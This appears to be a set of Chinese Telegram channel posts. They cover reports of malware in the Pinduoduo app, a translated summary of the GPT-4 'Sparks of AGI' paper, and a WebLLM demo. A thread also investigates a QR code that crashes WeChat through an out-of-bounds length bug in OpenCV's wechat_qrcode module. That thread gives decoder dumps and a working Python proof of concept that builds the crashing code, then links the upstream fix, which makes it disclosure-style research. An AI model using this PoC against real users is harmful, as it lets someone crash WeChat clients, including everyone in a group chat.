Forwarded from Web to Album
拼多多的事还没完。俄罗斯知名反病毒软件卡巴斯基正式开锤拼多多。莫斯科卡巴斯基实验室的研究人员证实拼多多安装程序有恶意代码,破坏攻击用户手机系统。现在中美俄三国,除了中国都在锤拼多多,大概我们监管机构没有人看得懂代码和程序,也不懂技术。恶意代码摆在面前也看不懂,即使全世界以你为敌。以下图片来源于卡巴斯基,以及目前最细节的中文分析(github上davincifans101)拼多多这个我国安装量巨大的软件确实存在利用漏洞恶意代码攻击用户的情况。我们的监管机构像死了一样,看不见。)
参见链接 1. www.bloomberg.com/news/articles/2023-03-27/pinduoduo-app-malware-detailed-by-cybersecurity-researchers
2. github.com/davincifans101/pinduoduo_backdoor_detailed_report/blob/main/report_cn.pdf source
参见链接 1. www.bloomberg.com/news/articles/2023-03-27/pinduoduo-app-malware-detailed-by-cybersecurity-researchers
2. github.com/davincifans101/pinduoduo_backdoor_detailed_report/blob/main/report_cn.pdf source
😢2❤1
Forwarded from MiaoTony's Box (MiaoTony 🐱)
#今天又看了啥 #academic #ChatGPT #paper
《GPT-4 ,通用人工智能的火花》论文内容精选与翻译
通用人工智能的火花:GPT-4早期实验》是3月最重要的一篇论文,引起了广泛的关注和讨论,但是论文长达 154页,中文版本还无人翻译。
本文 挑选了论文中的重点结论并进行翻译,虽然已经是精选,但仍然超过万字。但考虑到 GPT5 明年才能面世,这篇文章在今年什么时候看都不晚。
微软的研究院在很早期就接触到了 GPT-4 的非多模态版本,并对齐进行了详尽的测试。这篇论文就是整个的测试过程和结论。不管是测试方法还是结论都非常精彩,强烈推荐看一遍,传送门在此 。https://arxiv.org/pdf/2303.12712v1.pdf
本文的翻译没有添加任何夸张的修辞(DeepL和ChatGPT贡献也很大),但文中透露的信息本身已足够震撼。
本文目的是和大家分享当前AI最新的进展,欢迎分享转发,如需转载,只需要注明作者信息 orange.ai 和原始链接
https://orangeblog.notion.site/GPT-4-8fc50010291d47efb92cbbd668c8c893
《GPT-4 ,通用人工智能的火花》论文内容精选与翻译
通用人工智能的火花:GPT-4早期实验》是3月最重要的一篇论文,引起了广泛的关注和讨论,但是论文长达 154页,中文版本还无人翻译。
本文 挑选了论文中的重点结论并进行翻译,虽然已经是精选,但仍然超过万字。但考虑到 GPT5 明年才能面世,这篇文章在今年什么时候看都不晚。
微软的研究院在很早期就接触到了 GPT-4 的非多模态版本,并对齐进行了详尽的测试。这篇论文就是整个的测试过程和结论。不管是测试方法还是结论都非常精彩,强烈推荐看一遍,传送门在此 。https://arxiv.org/pdf/2303.12712v1.pdf
本文的翻译没有添加任何夸张的修辞(DeepL和ChatGPT贡献也很大),但文中透露的信息本身已足够震撼。
本文目的是和大家分享当前AI最新的进展,欢迎分享转发,如需转载,只需要注明作者信息 orange.ai 和原始链接
https://orangeblog.notion.site/GPT-4-8fc50010291d47efb92cbbd668c8c893
Leo's Notion on Notion
《GPT-4 ,通用人工智能的火花》论文内容精选与翻译 | Notion
引言:
Web LLM
This project brings large-language model and LLM-based chatbot to web browsers. Everything runs inside the browser with no server support and accelerated with WebGPU.
https://mlc.ai/web-llm/
PS:M1 Pro 跑起来速度还蛮快的,encoding: 40.2806 tokens/sec, decoding: 13.8600 tokens/sec
This project brings large-language model and LLM-based chatbot to web browsers. Everything runs inside the browser with no server support and accelerated with WebGPU.
https://mlc.ai/web-llm/
PS:M1 Pro 跑起来速度还蛮快的,encoding: 40.2806 tokens/sec, decoding: 13.8600 tokens/sec
不存在的世界
这是一张用微信扫描就会 crash 的二维码,应该是微信 OCR 的实现有问题 以及如果发在群聊里可能会导致群聊的人都闪退(因为微信会自动识别二维码) UPDATE: 腾讯系的软件应该都有这个问题
感觉主要出锅的地方在:
因为队友说似乎是 null deref,直接遍历解码到后期的时候发现了以下的问题,填充和 RS 在这样的扫描下直接被吃掉了:
提取出的数据来看,在到达最后一个 8-bit Mode 后是一个不可见字符
但是尝试复现并未成功构造一个可以被微信复现的二维码,并且 qrazybox 也被这样的长度标识欺骗了,但是在上面的例子里并没有,似乎整个问题比想象的复杂:
[0100] [00000001] []
Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 1
Decoded data :
因为队友说似乎是 null deref,直接遍历解码到后期的时候发现了以下的问题,填充和 RS 在这样的扫描下直接被吃掉了:
{value: '00000001', type: 'Char. count indicator', decoded: 1, modules: Array(8)}
{value: '10011111', type: 'Message data', decoded: '\x9F', modules: Array(8)}
{value: '0000', type: 'Mode indicator', decoded: 'Terminator', modules: Array(4)}
{value: '0010', type: 'Mode indicator', decoded: 'Alphanumeric mode', modules: Array(4)}
{value: '100111001', type: 'Char. count indicator', decoded: 313, modules: Array(9)}
{value: '01100111100', type: 'Message data', decoded: 'II', modules: Array(11)}
{value: '01100010011', type: 'Message data', decoded: 'HM', modules: Array(11)}
{value: '10100001110', type: 'Message data', decoded: 'SY', modules: Array(11)}
{value: '00110010000', type: 'Message data', decoded: '8+', modules: Array(11)}
{value: '01110011111', type: 'Message data', decoded: 'KR', modules: Array(11)}
{value: '01101010111', type: 'Message data', decoded: 'J0', modules: Array(11)}
{value: '01110100010', type: 'Message data', decoded: 'KU', modules: Array(11)}
{value: '10000011011', type: 'Message data', decoded: 'NG', modules: Array(11)}
{value: '11101010111', type: 'Message data', decoded: '-Y', modules: Array(11)}
{value: '1101', type: 'Message data', decoded: '0D', modules: Array(4)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}
提取出的数据来看,在到达最后一个 8-bit Mode 后是一个不可见字符
\x9f 和正常的终止符号,但在之后本应该是 padding 的 11101100 和 11101100 却不见了踪迹,后续的 block 恰好被解析为了 Alphanumeric mode,长度块标准为 9 bit,并且读取出其长度为 313,导致后续的数据被解析为了奇怪的内容,并且直接开始越界解析。但是尝试复现并未成功构造一个可以被微信复现的二维码,并且 qrazybox 也被这样的长度标识欺骗了,但是在上面的例子里并没有,似乎整个问题比想象的复杂:
Final data bits :
00101111111110000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100
[0010] [111111111] [0000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100]
Mode Indicator : Alphanumeric Mode (0010)
Character Count Indicator : 511
Decoded data : 2333AA76%J5L1QVFA.380Cundefinedundefinedundefinedundefinedundefined……
Final Decoded string : 2333AA76%J5L1QVFA.380C
TimeAxis
感觉主要出锅的地方在: [0100] [00000001] [] Mode Indicator : 8-bit Mode (0100) Character Count Indicator : 1 Decoded data : 因为队友说似乎是 null deref,直接遍历解码到后期的时候发现了以下的问题,填充和 RS 在这样的扫描下直接被吃掉了: {value: '00000001', type: 'Char. count indicator', decoded: 1, modules: Array(8)}…
忽略了一个核心问题,这个二维码的数据区已经被完全填满(224 bit),解码器可能会因为遇到 padding pattern 而提前 break,打算再去构造一下。
TimeAxis
忽略了一个核心问题,这个二维码的数据区已经被完全填满(224 bit),解码器可能会因为遇到 padding pattern 而提前 break,打算再去构造一下。
构造成功了,成功让微信崩溃了!几个要点:
1. 数据需要绝对无填充,不可以出现 padding pattern
2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关
1. 数据需要绝对无填充,不可以出现 padding pattern
2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关
👍25
TimeAxis
构造成功了,成功让微信崩溃了!几个要点: 1. 数据需要绝对无填充,不可以出现 padding pattern 2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关
附上复现用的代码:
理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了()
import qrcode
from qrcode.util import *
def hack_put(self, num, length):
if num == 0:
num = 233 # make a fake length
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = hack_put
qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
# make sure all data is fit to the max content length for this version
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# add a zero length data to make the length of the data to be 233
qr.add_data(hack_data)
qr.make_image()
理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了()
🥰27
Forwarded from 不存在的世界
发现根本问题所在了,是 OpenCV's extra modules 中 WeChat QR Code 模组的锅
https://github.com/opencv/opencv_contrib/pull/3480
https://github.com/opencv/opencv_contrib/pull/3480
GitHub
fix(wechat_qrcode): Init nBytes after the count value is determined by Konano · Pull Request #3480 · opencv/opencv_contrib
Merge with test case: opencv/opencv_extra#1061
A malicious crafted image will crash the wechat_qrcode module by invalid memory access.
The earliest PoC by @GZTimeWalker: https://gist.github.com/GZT...
A malicious crafted image will crash the wechat_qrcode module by invalid memory access.
The earliest PoC by @GZTimeWalker: https://gist.github.com/GZT...
👍16